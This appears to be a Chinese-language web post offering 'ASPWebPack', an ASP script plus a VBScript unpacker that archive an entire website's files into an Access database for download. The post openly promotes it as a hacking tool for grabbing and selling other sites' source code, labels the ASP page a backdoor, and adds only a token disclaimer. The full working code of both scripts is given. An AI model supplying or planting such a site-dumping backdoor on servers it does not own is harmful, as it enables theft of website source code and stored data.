asp空间文件打包工具

ASPWebPack(整站文件备份系统) v1.0

功能列表：1、备份数据 2、恢复数据 3、上传备份 4、备份管理
程序说明：拥有了 ASPWebPack，上传更新网站，您只需一步即可完成。适用于空间没有代备份功能的用户，如果您的虚拟主机自带了备份功能，那可以用来辅助整站下载嘛。更适用于做为黑工具，方便各种职业下载整站源代码商业拍卖(声明:作者的意图并非如此，希望大家勿用于非法。)。反正就是方便到家啦，希望大家喜欢。

补充说明：本地打包文件请使用NetBox，或者自己开本地IIS。

ASP网站打包急速（推荐） 此工具支持xp系统 win7 64位不行 

ASP网站打包急速版
//1.asp ASP后门打包
//解压.vbs VBS本地解压

用记事本打开1.asp文件，找到pop.mdb，把pop.mdb改成您想要的名称

1.asp内容：

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%
Option Explicit
Response.Buffer = True
Server.ScriptTimeOut=999999999
%>

<%
dim dbFile,Fso,Sql,mdbFile,Cat,Conn,Rs,obj,objFolder,objFile,objStream,strNoPack
mdbFile="pop.mdb" '数据库名字
strNoPack = "pop.mdb|1.asp" '不打包的文件或文件夹
dbFile=server.MapPath(mdbFile)

Set Fso = CreateObject("Scripting.FileSystemObject")
If Fso.FileExists(dbFile) Then '如果数据库存在就删除原有数据
Fso.DeleteFile(dbFile)
End If
Set Fso=nothing

Set Cat=server.CreateObject("ADOX.Catalog") '开始建立数据库
Cat.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbFile
Set Cat=nothing
If Err.Number=0 Then
Response.Write ("-->数据库 " & dbFile & " 创建成功<br /> ")
Else
Response.Write ("-->数据库创建失败，原因： " & err.description)
Response.End
End If

Set Conn = Server.CreateObject("ADODB.Connection") '建立表
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbFile
Sql="Create TABLE filedata([id] counter PRIMARY KEY,[path] Memo,[file] General)"
Conn.Execute(Sql)
Set Rs = CreateObject("ADODB.RecordSet")
Rs.Open "FileData", Conn, 1, 3
Set obj=server.createobject("scripting.filesystemobject")
Set objFolder=obj.getfolder(server.mappath("/")) '需要打包的目录
Search objFolder '开始查找文件
Response.Write("-->打完，收工回家睡觉！")

Function Search(objFolder)'文件搜索函数
Dim objSubFolder
If Ext(objFolder.name) Then
   For Each objFile in objFolder.files
   Set objStream = Server.CreateObject("ADODB.Stream")
   objStream.Type = 1
   objStream.Open     
    If Not Ext(objFile.name) or Right(objFile.path,len(mdbFile))=mdbFile or Right(objFile.path,4)=".ldb" then
     Response.Write ("-->跳过"&objFile.name&"<br />")
    Else
     Response.Write ("-->"&objFile.path&"<br />")
     objStream.LoadFromFile objFile.path
     Rs.addnew
     Rs("file")=objstream.read
     Rs("Path")=Right(objFile.path,Len(objFile.path)-3)
     Rs.update
     objStream.close
    End If
   Next
   For Each objSubFolder in objFolder.SubFolders
    Search objSubFolder
   Next
Else
   Response.Write ("-->跳过"&objFolder.path&"<br />")
End If
End Function

Function Ext(FileName)
Ext = True
dim temp_ext,e
temp_ext = Split(strNoPack,"|")
for e=0 to ubound(temp_ext)
If LCase(filename)=LCase(temp_ext(e)) Then Ext=False
Next
End Function
%>

解压.vbs内容：

Dim rs, ws, fso, conn, stream, connStr, theFolder
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
Set fso = CreateObject("Scripting.FileSystemObject")
dbname=inputbox("请在下面输入数据库名称，数据库必须与本程序在同一目录。名称如pop.mdb", "pop's 网站解压", "pop.mdb")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&dbname&";"

conn.Open connStr
rs.Open "select * from [filedata]", conn, 1, 1
stream.Open
stream.Type = 1

On Error Resume Next

Do Until rs.Eof
theFolder = Left(rs("path"), InStrRev(rs("path"), "\"))
If fso.FolderExists(theFolder) = False Then
createFolder(theFolder)
End If
stream.SetEos()
stream.Write rs("file")
stream.SaveToFile str & rs("path"), 2
rs.MoveNext
Loop

rs.Close
conn.Close
stream.Close
Set ws = Nothing
Set rs = Nothing
Set stream = Nothing
Set conn = Nothing

Wscript.Echo "所有文件释放完毕!"

Sub createFolder(path)
Dim i
i = Instr(path, "\")
Do While i > 0
If fso.FolderExists(Left(path, i)) = False Then
fso.CreateFolder(Left(path, i - 1))
End If
If InStr(Mid(path, i + 1), "\") Then
i = i + Instr(Mid(path, i + 1), "\")
Else
i = 0
End If
Loop
End Sub